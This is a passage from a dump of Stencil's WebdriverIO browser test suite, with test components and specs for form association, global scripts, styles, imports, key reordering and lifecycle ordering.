  {
    "path": "test/wdio/external-imports/external-data.ts",
    "content": "export function data() {\n  return {\n    first: 'Marty',\n    last: 'McFly',\n  };\n}\n"
  },
  {
    "path": "test/wdio/external-imports/external-store.ts",
    "content": "import { data } from './external-data.js';\n\nexport function store() {\n  return {\n    data: data(),\n  };\n}\n"
  },
  {
    "path": "test/wdio/form-associated/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('form associated', function () {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <form>\n          <form-associated name=\"test-input\"></form-associated>\n          <input type=\"reset\" value=\"Reset\" />\n        </form>\n      ),\n    });\n  });\n\n  it('should render without errors', async () => {\n    const elm = $('form-associated');\n    await expect(elm).toBePresent();\n  });\n\n  describe('form associated custom element lifecycle callback', () => {\n    it('should trigger \"formAssociated\"', async () => {\n      const formEl = $('form');\n      await expect(formEl).toHaveProperty('ariaLabel', 'formAssociated called');\n    });\n\n    it('should trigger \"formResetCallback\"', async () => {\n      const resetBtn = $('input[type=\"reset\"]');\n      await resetBtn.click();\n\n      await resetBtn.waitForStable();\n\n      const formEl = $('form');\n      await expect(formEl).toHaveProperty('ariaLabel', 'formResetCallback called');\n    });\n\n    it('should trigger \"formDisabledCallback\"', async () => {\n      const elm = document.body.querySelector('form-associated');\n      const formEl = $('form');\n\n      elm.setAttribute('disabled', 'disabled');\n\n      await formEl.waitForStable();\n      await expect(formEl).toHaveProperty('ariaLabel', 'formDisabledCallback called with true');\n\n      elm.removeAttribute('disabled');\n      await formEl.waitForStable();\n      await expect(formEl).toHaveProperty('ariaLabel', 'formDisabledCallback called with false');\n    });\n  });\n\n  it('should link up to the surrounding form', async () => {\n    // this shows that the element has, through the `ElementInternals`\n    // interface, been able to set a value in the surrounding form\n    await browser.waitUntil(\n      async () => {\n        const formEl = document.body.querySelector('form');\n        expect(new FormData(formEl).get('test-input')).toBe('my default value');\n        return true;\n      },\n      { timeoutMsg: 'form associated value never changed' },\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/form-associated/cmp.tsx",
    "content": "import { AttachInternals, Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'form-associated',\n  formAssociated: true,\n})\nexport class FormAssociatedCmp {\n  @AttachInternals() internals: ElementInternals;\n\n  componentWillLoad() {\n    this.internals.setFormValue('my default value');\n  }\n\n  formAssociatedCallback(form: HTMLFormAssociatedElement) {\n    form.ariaLabel = 'formAssociated called';\n    // this is a regression test for #5106 which ensures that `this` is\n    // resolved correctly\n    this.internals.setValidity({});\n  }\n\n  formResetCallback(this: HTMLFormAssociatedElement & FormAssociatedCmp) {\n    this.internals.form!.ariaLabel = 'formResetCallback called';\n  }\n\n  formDisabledCallback(disabled: boolean) {\n    this.internals.form!.ariaLabel = `formDisabledCallback called with ${disabled}`;\n  }\n\n  render() {\n    return <input type=\"text\" />;\n  }\n}\n"
  },
  {
    "path": "test/wdio/form-associated/prop-check.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { expect } from '@wdio/globals';\n\ndescribe('form associated prop check', function () {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <section>\n          <style>{`\n            body { font-family: Arial, sans-serif; padding: 20px; }\n            .demo-section { margin: 20px 0; padding: 20px; border: 2px solid #ddd; border-radius: 8px; }\n            .expected { background-color: #e8f5e8; border-color: #4caf50; }\n            .actual { background-color: #fff3e0; border-color: #ff9800; }\n            .problem { background-color: #ffebee; border-color: #f44336; }\n          `}</style>\n          <h1>StencilJS FormAssociated Disabled Bug Demo</h1>\n\n          <div class=\"demo-section expected\">\n            <h2>✅ Expected Behavior (disabled=true)</h2>\n            <p>This component should be disabled and not emit click events.</p>\n            <form-associated-prop-check disabled=\"true\" first=\"Disabled\" last=\"Component\"></form-associated-prop-check>\n          </div>\n\n          <div class=\"demo-section problem\">\n            <h2>❌ Problem (disabled=false)</h2>\n            <p>\n              <strong>BUG:</strong> This component should NOT be disabled, but because it's form-associated, the\n              presence of the disabled attribute (even with value='false') disables it according to HTML standards.\n            </p>\n            <form-associated-prop-check\n              disabled=\"false\"\n              first=\"Should Not Be\"\n              last=\"Disabled\"\n            ></form-associated-prop-check>\n          </div>\n        </section>\n      ),\n    });\n  });\n\n  it('should determine that both are components are disabled', async () => {\n    const components = document.querySelectorAll('form-associated-prop-check');\n    expect(components[0].disabled).toBe(true);\n    expect(components[1].disabled).toBe(true);\n\n    await expect(components[0].shadowRoot.querySelector('p')).toHaveText('Disabled prop value: true');\n    await expect(components[1].shadowRoot.querySelector('p')).toHaveText('Disabled prop value: true');\n  });\n});\n"
  },
  {
    "path": "test/wdio/form-associated/prop-check.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'form-associated-prop-check',\n  shadow: true,\n  formAssociated: true,\n})\nexport class FormAssociatedPropCheck {\n  @Prop() disabled: boolean;\n\n  render() {\n    return (\n      <div style={{ cursor: 'pointer', padding: '10px', border: '1px solid #ccc' }}>\n        <p>Disabled prop value: {String(this.disabled)}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/global-script/README.md",
    "content": "# Global Script Test Suite\n\nThis test suite is built as a separate Stencil project alongside the main\nStencil project that we build for WebdriverIO.\n\nThe Stencil configuration for this project can be found at\n`../global-script.stencil.config.ts`. The project is built with the\n`build.global-script` command in the `package.json` for our WebdriverIO tests\n(this is in turn called by the `build` script, ensuring that everything we need\nis always built). In the `setup.ts` file used to load the Stencil project for\nthe WebdriverIO tests we selectively load the `global-script` bundle only when\nrunning this test suite by checking the value of `__window.__wdioSpec__`.\n"
  },
  {
    "path": "test/wdio/global-script/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    /**\n     * rendering this component will fail as `<attribute-basic /`> is compiled with\n     * a `dist-custom-element` output target, which will break in a lazy load environment\n     */\n    interface GlobalScriptDistCmp {\n    }\n    interface GlobalScriptTestCmp {\n    }\n}\ndeclare global {\n    /**\n     * rendering this component will fail as `<attribute-basic /`> is compiled with\n     * a `dist-custom-element` output target, which will break in a lazy load environment\n     */\n    interface HTMLGlobalScriptDistCmpElement extends Components.GlobalScriptDistCmp, HTMLStencilElement {\n    }\n    var HTMLGlobalScriptDistCmpElement: {\n        prototype: HTMLGlobalScriptDistCmpElement;\n        new (): HTMLGlobalScriptDistCmpElement;\n    };\n    interface HTMLGlobalScriptTestCmpElement extends Components.GlobalScriptTestCmp, HTMLStencilElement {\n    }\n    var HTMLGlobalScriptTestCmpElement: {\n        prototype: HTMLGlobalScriptTestCmpElement;\n        new (): HTMLGlobalScriptTestCmpElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"global-script-dist-cmp\": HTMLGlobalScriptDistCmpElement;\n        \"global-script-test-cmp\": HTMLGlobalScriptTestCmpElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * rendering this component will fail as `<attribute-basic /`> is compiled with\n     * a `dist-custom-element` output target, which will break in a lazy load environment\n     */\n    interface GlobalScriptDistCmp {\n    }\n    interface GlobalScriptTestCmp {\n    }\n    interface IntrinsicElements {\n        \"global-script-dist-cmp\": GlobalScriptDistCmp;\n        \"global-script-test-cmp\": GlobalScriptTestCmp;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * rendering this component will fail as `<attribute-basic /`> is compiled with\n             * a `dist-custom-element` output target, which will break in a lazy load environment\n             */\n            \"global-script-dist-cmp\": LocalJSX.IntrinsicElements[\"global-script-dist-cmp\"] & JSXBase.HTMLAttributes<HTMLGlobalScriptDistCmpElement>;\n            \"global-script-test-cmp\": LocalJSX.IntrinsicElements[\"global-script-test-cmp\"] & JSXBase.HTMLAttributes<HTMLGlobalScriptTestCmpElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/global-script/dist-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n/**\n * rendering this component will fail as `<attribute-basic /`> is compiled with\n * a `dist-custom-element` output target, which will break in a lazy load environment\n */\n@Component({\n  tag: 'global-script-dist-cmp',\n  scoped: true,\n})\nexport class GlobalScriptDistCmp {\n  render() {\n    return (\n      <section>\n        <attribute-basic></attribute-basic>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/global-script/global-script.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser } from '@wdio/globals';\n\nimport { setupIFrameTest } from '../util.js';\n\ndescribe('global script', () => {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => <global-script-test-cmp></global-script-test-cmp>,\n    });\n  });\n\n  it('supports async execution', async () => {\n    const cmp = await $('global-script-test-cmp');\n    await cmp.waitForStable();\n    const text = await cmp.$('div').getText();\n    const renderedDelay = parseInt(text.slice('I am rendered after '.length));\n    expect(renderedDelay).toBeGreaterThanOrEqual(1000);\n  });\n\n  /**\n   * fails in WDIO because the error is seen as test error\n   */\n  it.skip('logs error when component with invalid runtime is loaded', async () => {\n    /**\n     * Fetching logs like this only works in Chromium. Once WebdriverIO v9 is released there\n     * will be easier primitives to fetch logs in other browsers as well.\n     */\n    if (!browser.isChromium) {\n      console.warn('Skipping test because it only works in Chromium');\n      return;\n    }\n\n    await setupIFrameTest('/global-script/index.html');\n\n    const expectedErrorMessage = `Can't render component <attribute-basic /> with invalid Stencil runtime!`;\n    await browser.waitUntil(\n      async () => {\n        const logs = (await browser.getLogs('browser')) as { message: string }[];\n        expect(logs.find((log) => log.message.includes(expectedErrorMessage))).toBeTruthy();\n        return true;\n      },\n      {\n        timeoutMsg: 'Expected error message not found in console logs.',\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/global-script/global.ts",
    "content": "declare global {\n  interface Window {\n    __testStart: number;\n  }\n}\n\nimport { defineCustomElements } from '../test-components/index.js';\n\nexport default async function () {\n  window.__testStart = Date.now();\n\n  /**\n   * import components from the test-components package which are build using\n   * the `dist-custom-element` output target to validate if the rendering fails\n   * with proper error message as the global-script project is run within a\n   * lazy load environment.\n   */\n  defineCustomElements();\n\n  return new Promise((resolve) => setTimeout(() => resolve('done!'), 1000));\n}\n"
  },
  {
    "path": "test/wdio/global-script/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n  <title>Stencil Starter App</title>\n  <script type=\"module\" src=\"/www-global-script/build/testglobalscript.esm.js\"></script>\n</head>\n<body>\n  <global-script-dist-cmp></global-script-dist-cmp>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/global-script/test-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'global-script-test-cmp',\n  scoped: true,\n})\nexport class GlobalScriptTestCmp {\n  render() {\n    return (\n      <section>\n        <div>I am rendered after {Date.now() - window.__testStart}</div>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/global-script.stencil.config.ts",
    "content": "import type { Config } from '../../internal/index.js';\n\n/**\n * This Stencil configuration is only for the `global-script/` directory.\n */\nexport const config: Config = {\n  namespace: 'TestGlobalScript',\n  tsconfig: 'tsconfig-global-script.json',\n  outputTargets: [\n    {\n      type: 'www',\n      dir: `www-global-script`,\n    },\n  ],\n  srcDir: 'global-script',\n  globalScript: 'global-script/global.ts',\n};\n"
  },
  {
    "path": "test/wdio/global-styles/global-styles.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nimport { defineCustomElement } from '../test-components/global-styles.js';\n\ndescribe('dom-reattach', function () {\n  beforeEach(() => {\n    defineCustomElement();\n\n    render({\n      components: [],\n      template: () => <global-styles></global-styles>,\n    });\n  });\n\n  it('should have proper values', async () => {\n    await expect(await $('global-styles').getCSSProperty('border')).toEqual(\n      expect.objectContaining({\n        value: '5px dotted rgb(255, 0, 0)',\n      }),\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/global-styles/global-styles.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'global-styles',\n  shadow: true,\n})\nexport class GlobalStyles {\n  render() {\n    return <Host>Hello World</Host>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/global.ts",
    "content": "// this imports the build from the `./test-sibling` project. The ability to use\n// a Stencil component defined in that 'sibling' project is tested in the\n// `stencil-sibling` test suite\nimport 'test-sibling';\nimport { setMode, setTagTransformer } from '@stencil/core';\nimport tagTransformer from './tag-transform/tag-transformer.js';\n\n// @ts-ignore - this should produce a warning but not cause the build to fail\nimport { setAssetPath } from '@stencil/core/internal/client/index';\n\n// this doesn't do anything - just stops rollup removing the import\nsetAssetPath('/base/path');\n\n// this is for `dist-custom-elements` output target tests - needs to be set early,\n// but doesn't get called at all in `dist` :/\nsetTagTransformer(tagTransformer);\n\nconst globalScript = () => {\n  // this is primarily for `dist` output target tests\n  // gets called too late for `dist-custom-elements` style map registration\n  setTagTransformer(tagTransformer);\n\n  setMode((elm) => {\n    if (!elm) return null;\n    // this should be valid as HTMLElement and HTMLStencilElement should be compatible\n    thing = elm as HTMLAttributeBasicElement;\n    return (elm as any).colormode || elm.getAttribute('colormode');\n  });\n};\n\nexport let thing: null | HTMLElement = globalThis.document ? document.createElement('div') : null;\nexport default globalScript;\n"
  },
  {
    "path": "test/wdio/host-attr-override/host-attr-override.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('host attribute overrides', function () {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <host-attr-override class=\"override\"></host-attr-override>\n          <host-attr-override class=\"with-role\" role=\"another-role\"></host-attr-override>\n        </>\n      ),\n    });\n  });\n\n  it('should merge class set in HTML with that on the Host', async () => {\n    await expect($('.default.override')).toExist();\n  });\n\n  it('should override non-class attributes', async () => {\n    await expect($('.with-role')).toHaveAttribute('role', 'another-role');\n  });\n});\n"
  },
  {
    "path": "test/wdio/host-attr-override/host-attr-override.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'host-attr-override',\n  shadow: true,\n})\nexport class HostAttrOverride {\n  render() {\n    return (\n      <Host class=\"default\" role=\"header\">\n        <slot></slot>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/image-import/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('svg attr', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <image-import></image-import>,\n    });\n  });\n\n  it('adds and removes attribute', async () => {\n    const img = $('img');\n    await img.waitForExist();\n\n    const src = await img.getAttribute('src');\n    expect(src.startsWith('data:image/svg+xml;base64,PD94bW')).toBe(true);\n  });\n});\n"
  },
  {
    "path": "test/wdio/image-import/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport stencilLogo from './stencil-logo.svg';\n\n@Component({\n  tag: 'image-import',\n})\nexport class ImageImport {\n  render() {\n    return (\n      <div>\n        <img src={stencilLogo} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/import-aliasing/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\n/**\n * Test cases for using import aliases for Stencil decorators. Only\n * tests a subset of all Stencil decorators.\n */\ndescribe('import aliasing', function () {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <form>\n          <import-aliasing user=\"John\" name=\"test-input\"></import-aliasing>\n        </form>\n      ),\n    });\n  });\n\n  it('should render correctly with aliased imports', async () => {\n    const host = document.querySelector('import-aliasing');\n    const children = $$('import-aliasing > *');\n    await expect(children[0]).toHaveText('My name is John');\n    await expect(children[1]).toHaveText('Name changed 0 time(s)');\n    await expect(children[2]).toHaveText('Method called 0 time(s)');\n    await expect(children[3]).toHaveText('Event triggered 0 time(s)');\n\n    host.setAttribute('user', 'Peter');\n    await $('import-aliasing').waitForStable();\n\n    await expect(children[0]).toHaveText('My name is Peter');\n    await expect(children[1]).toHaveText('Name changed 1 time(s)');\n    await expect(children[2]).toHaveText('Method called 0 time(s)');\n    await expect(children[3]).toHaveText('Event triggered 0 time(s)');\n\n    const el = await host.myMethod();\n    expect(el).toBe(host);\n    await expect(children[0]).toHaveText('My name is Peter');\n    await expect(children[1]).toHaveText('Name changed 1 time(s)');\n    await expect(children[2]).toHaveText('Method called 1 time(s)');\n    await expect(children[3]).toHaveText('Event triggered 1 time(s)');\n  });\n\n  it('should link up to the surrounding form', async () => {\n    await $('form').waitForExist();\n    await browser.waitUntil(\n      () => {\n        const formEl = document.querySelector('form');\n        expect(new FormData(formEl).get('test-input')).toBe('my default value');\n        return true;\n      },\n      { timeoutMsg: 'link to surrounding form not established' },\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/import-aliasing/cmp.tsx",
    "content": "import {\n  AttachInternals as ElInternals,\n  Component as Cmp,\n  Element as El,\n  Event as StencilEvent,\n  EventEmitter,\n  h,\n  Listen as StencilListen,\n  Method as StencilMethod,\n  Prop as Input,\n  State as StencilState,\n  Watch as StencilWatch,\n} from '@stencil/core';\n\n@Cmp({\n  tag: 'import-aliasing',\n  formAssociated: true,\n})\nexport class FormAssociatedCmp {\n  @Input() user: string;\n\n  @StencilEvent() myEvent: EventEmitter<void>;\n\n  @El() el!: HTMLElement;\n\n  @ElInternals()\n  internals: ElementInternals;\n\n  @StencilState() changeCount = 0;\n  @StencilState() methodCalledCount = 0;\n  @StencilState() eventCaughtCount = 0;\n\n  @StencilListen('myEvent')\n  onMyEventTriggered() {\n    this.eventCaughtCount += 1;\n  }\n\n  @StencilWatch('user')\n  onNameChange() {\n    this.changeCount += 1;\n  }\n\n  @StencilMethod()\n  async myMethod() {\n    this.methodCalledCount += 1;\n    this.myEvent.emit();\n\n    return this.el;\n  }\n\n  componentWillLoad() {\n    this.internals.setFormValue('my default value');\n  }\n\n  render() {\n    return [\n      <p>My name is {this.user}</p>,\n      <p>Name changed {this.changeCount} time(s)</p>,\n      <p>Method called {this.methodCalledCount} time(s)</p>,\n      <p>Event triggered {this.eventCaughtCount} time(s)</p>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/index.ts",
    "content": "import { setTagTransformer } from '@stencil/core';\nimport tagTransformer from './tag-transform/tag-transformer.js';\nsetTagTransformer(tagTransformer);\n"
  },
  {
    "path": "test/wdio/init-css-shim/cmp-root.css",
    "content": "\ndiv#relativeToRoot {\n  background-image: url(\"/assets/favicon.ico?relativeToRoot\");\n}\ndiv#relative {\n  background-image: url(\"../assets/favicon.ico?relative\");\n}\ndiv#absolute {\n  background-image: url(\"https://www.google.com/favicon.ico\");\n}\n"
  },
  {
    "path": "test/wdio/init-css-shim/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'init-css-root',\n  styleUrl: 'cmp-root.css',\n})\nexport class InitCssRoot {\n  render() {\n    return [<div id=\"relative\"></div>, <div id=\"relativeToRoot\"></div>, <div id=\"absolute\"></div>];\n  }\n}\n"
  },
  {
    "path": "test/wdio/init-css-shim/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('init-css-shim', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <init-css-root></init-css-root>,\n    });\n    await $('init-css-root > *').waitForExist();\n  });\n\n  it('should not replace \"relavive to root\" paths', async () => {\n    const root = document.querySelector('#relativeToRoot');\n    let imagePath = window.getComputedStyle(root).getPropertyValue('background-image');\n    imagePath = imagePath.replace(/\\\"/g, '');\n    imagePath = imagePath.replace(/\\'/g, '');\n    expect(imagePath).toBe(`url(${window.location.origin}/assets/favicon.ico?relativeToRoot)`);\n  });\n\n  it('should not replace \"absolute\" paths', async () => {\n    const root = document.querySelector('#absolute');\n    let imagePath = window.getComputedStyle(root).getPropertyValue('background-image');\n    imagePath = imagePath.replace(/\\\"/g, '');\n    imagePath = imagePath.replace(/\\'/g, '');\n    expect(imagePath).toBe(`url(https://www.google.com/favicon.ico)`);\n  });\n});\n"
  },
  {
    "path": "test/wdio/input-basic/cmp-root.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('input-basic', function () {\n  beforeEach(() => {\n    render({\n      template: () => <input-basic-root value=\"hello\"></input-basic-root>,\n    });\n  });\n\n  it('should change value prop both ways', async () => {\n    const input = await $('input-basic-root input');\n\n    await expect(input).toHaveValue('hello');\n\n    await input.setValue('bye');\n    await expect(input).toHaveValue('bye');\n\n    document.querySelector('input-basic-root').value = 'value';\n    await expect(input).toHaveValue('value');\n  });\n});\n"
  },
  {
    "path": "test/wdio/input-basic/cmp-root.tsx",
    "content": "import { Component, Element, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'input-basic-root',\n})\nexport class InputBasicRoot {\n  @Element() el!: HTMLElement;\n  @Prop({ mutable: true }) value?: string;\n\n  render() {\n    return (\n      <div>\n        <p>\n          Value: <span class=\"value\">{this.value}</span>\n        </p>\n        <input type=\"text\" value={this.value} onInput={(ev: any) => (this.value = ev.target.value)}></input>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/invisible-prehydration/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'prehydrated-styles',\n})\nexport class PrehydratedStyles {\n  render() {\n    return <div>prehydrated-styles</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/invisible-prehydration/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface PrehydratedStyles {\n    }\n}\ndeclare global {\n    interface HTMLPrehydratedStylesElement extends Components.PrehydratedStyles, HTMLStencilElement {\n    }\n    var HTMLPrehydratedStylesElement: {\n        prototype: HTMLPrehydratedStylesElement;\n        new (): HTMLPrehydratedStylesElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"prehydrated-styles\": HTMLPrehydratedStylesElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface PrehydratedStyles {\n    }\n    interface IntrinsicElements {\n        \"prehydrated-styles\": PrehydratedStyles;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"prehydrated-styles\": LocalJSX.IntrinsicElements[\"prehydrated-styles\"] & JSXBase.HTMLAttributes<HTMLPrehydratedStylesElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/invisible-prehydration/index.html",
    "content": "<!doctype html>\n<meta charset=\"utf8\" />\n<script src=\"./build/testinvisibleprehydrationfalse.esm.js\" type=\"module\"></script>\n<script src=\"./build/testinvisibleprehydrationfalse.js\" nomodule></script>\n\n<prehydrated-styles></prehydrated-styles>\n"
  },
  {
    "path": "test/wdio/invisible-prehydration/invisible-prehydration.test.tsx",
    "content": "/**\n * Note: this file is meant to be run in the browser, not in Node.js. WebdriverIO\n * injects some basic polyfills for Node.js to make the following possible.\n */\nimport path from 'node:path';\n\nasync function setupTest(htmlFile: string): Promise<Document> {\n  if (document.querySelector('iframe')) {\n    document.body.removeChild(document.querySelector('iframe'));\n  }\n\n  const htmlFilePath = path.resolve(\n    path.dirname(globalThis.__wdioSpec__),\n    '..',\n    'www-invisible-prehydration',\n    htmlFile.slice(htmlFile.startsWith('/') ? 1 : 0),\n  );\n  const iframe = document.createElement('iframe');\n\n  /**\n   * Note: prefixes the absolute path to the html file with `/@fs` is a ViteJS (https://vitejs.dev/)\n   * feature which allows to serve static content from files this way\n   */\n  iframe.src = `/@fs${htmlFilePath}`;\n  iframe.width = '600px';\n  iframe.height = '600px';\n  document.body.appendChild(iframe);\n\n  /**\n   * wait for the iframe to load\n   */\n  await new Promise((resolve) => (iframe.onload = resolve));\n  return iframe.contentDocument;\n}\n\ndescribe('invisible-prehydration-false', () => {\n  let iframe: Document;\n\n  beforeEach(async () => {\n    iframe = await setupTest('index.html');\n\n    // Tried using the `browser.waitUntil()` pattern here, but it was flakey and throwing errors on occasion\n    await browser.pause(100);\n  });\n\n  it('the style element will not be placed in the head', async () => {\n    expect(iframe.body.querySelector('prehydrated-styles').innerHTML).toEqual('<div>prehydrated-styles</div>');\n    expect(iframe.head.querySelectorAll('style[data-styles]').length).toBe(0);\n  });\n});\n"
  },
  {
    "path": "test/wdio/invisible-prehydration.stencil.config.ts",
    "content": "import type { Config } from '../../internal/index.js';\n\nexport const config: Config = {\n  namespace: 'TestInvisiblePrehydrationFalse',\n  tsconfig: 'tsconfig-invisible-prehydration.json',\n  invisiblePrehydration: false,\n  outputTargets: [\n    {\n      type: 'www',\n      empty: false,\n      serviceWorker: null,\n      dir: 'www-invisible-prehydration',\n    },\n  ],\n  srcDir: 'invisible-prehydration',\n};\n"
  },
  {
    "path": "test/wdio/json-basic/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('json-basic', function () {\n  beforeEach(() => {\n    render({\n      template: () => <json-basic></json-basic>,\n    });\n  });\n\n  it('read json content', async () => {\n    await expect($('#json-foo')).toHaveText('bar');\n  });\n});\n"
  },
  {
    "path": "test/wdio/json-basic/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { foo } from './data.json';\n\n@Component({\n  tag: 'json-basic',\n})\nexport class JsonBasic {\n  render() {\n    return <div id=\"json-foo\">{foo}</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/json-basic/data.json",
    "content": "{\n  \"foo\": \"bar\"\n}"
  },
  {
    "path": "test/wdio/key-reorder/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('key-reorder', function () {\n  beforeEach(() => {\n    render({\n      template: () => <key-reorder></key-reorder>,\n    });\n  });\n\n  it('uses same nodes after reorder', async () => {\n    await $('#item-0').waitForExist();\n    let item0 = document.body.querySelector('#item-0') as any;\n    let item1 = document.body.querySelector('#item-1') as any;\n    let item2 = document.body.querySelector('#item-2') as any;\n    let item3 = document.body.querySelector('#item-3') as any;\n    let item4 = document.body.querySelector('#item-4') as any;\n\n    expect(item0.previousElementSibling).toBe(null);\n    expect(item1.previousElementSibling).toBe(item0);\n    expect(item2.previousElementSibling).toBe(item1);\n    expect(item3.previousElementSibling).toBe(item2);\n    expect(item4.previousElementSibling).toBe(item3);\n\n    item0.__orgItem = 0;\n    item1.__orgItem = 1;\n    item2.__orgItem = 2;\n    item3.__orgItem = 3;\n    item4.__orgItem = 4;\n\n    const button = $('button');\n    await button.click();\n    await $('#item-4').waitForExist();\n\n    item0 = document.body.querySelector('#item-0') as any;\n    item1 = document.body.querySelector('#item-1') as any;\n    item2 = document.body.querySelector('#item-2') as any;\n    item3 = document.body.querySelector('#item-3') as any;\n    item4 = document.body.querySelector('#item-4') as any;\n\n    expect(item0.previousElementSibling).toBe(item1);\n    expect(item1.previousElementSibling).toBe(item2);\n    expect(item2.previousElementSibling).toBe(item3);\n    expect(item3.previousElementSibling).toBe(item4);\n    expect(item4.previousElementSibling).toBe(null);\n  });\n});\n"
  },
  {
    "path": "test/wdio/key-reorder/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'key-reorder',\n})\nexport class KeyReorder {\n  @State() isReversed = false;\n\n  testClick() {\n    this.isReversed = !this.isReversed;\n  }\n\n  render() {\n    const items = [0, 1, 2, 3, 4];\n    if (this.isReversed) {\n      items.reverse();\n    }\n\n    return [\n      <button onClick={this.testClick.bind(this)}>Test</button>,\n      <div>\n        {items.map((item) => {\n          return (\n            <div key={item} id={'item-' + item}>\n              {item}\n            </div>\n          );\n        })}\n      </div>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-async/cmp-a.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('lifecycle-async', function () {\n  beforeEach(() => {\n    render({\n      template: () => <lifecycle-async-a></lifecycle-async-a>,\n    });\n  });\n\n  it('fire load methods in order', async () => {\n    await $('lifecycle-async-a').waitForExist();\n\n    await browser.pause(500);\n\n    let loads = await $('.lifecycle-loads-a').$$('li');\n    await expect(loads.length).toBe(6);\n    await expect(loads[0]).toHaveText('componentWillLoad-a');\n    await expect(loads[1]).toHaveText('componentWillLoad-b');\n    await expect(loads[2]).toHaveText('componentWillLoad-c');\n    await expect(loads[3]).toHaveText('componentDidLoad-c');\n    await expect(loads[4]).toHaveText('componentDidLoad-b');\n    await expect(loads[5]).toHaveText('componentDidLoad-a');\n\n    await expect($('.lifecycle-updates-a li')).not.toBeExisting();\n\n    const button = $('button');\n    await button.click();\n\n    await $('lifecycle-async-a').waitForStable();\n\n    await browser.pause(500);\n\n    loads = await $('.lifecycle-loads-a').$$('li');\n    await expect(loads.length).toBe(6);\n\n    await expect(loads[0]).toHaveText('componentWillLoad-a');\n    await expect(loads[1]).toHaveText('componentWillLoad-b');\n    await expect(loads[2]).toHaveText('componentWillLoad-c');\n    await expect(loads[3]).toHaveText('componentDidLoad-c');\n    await 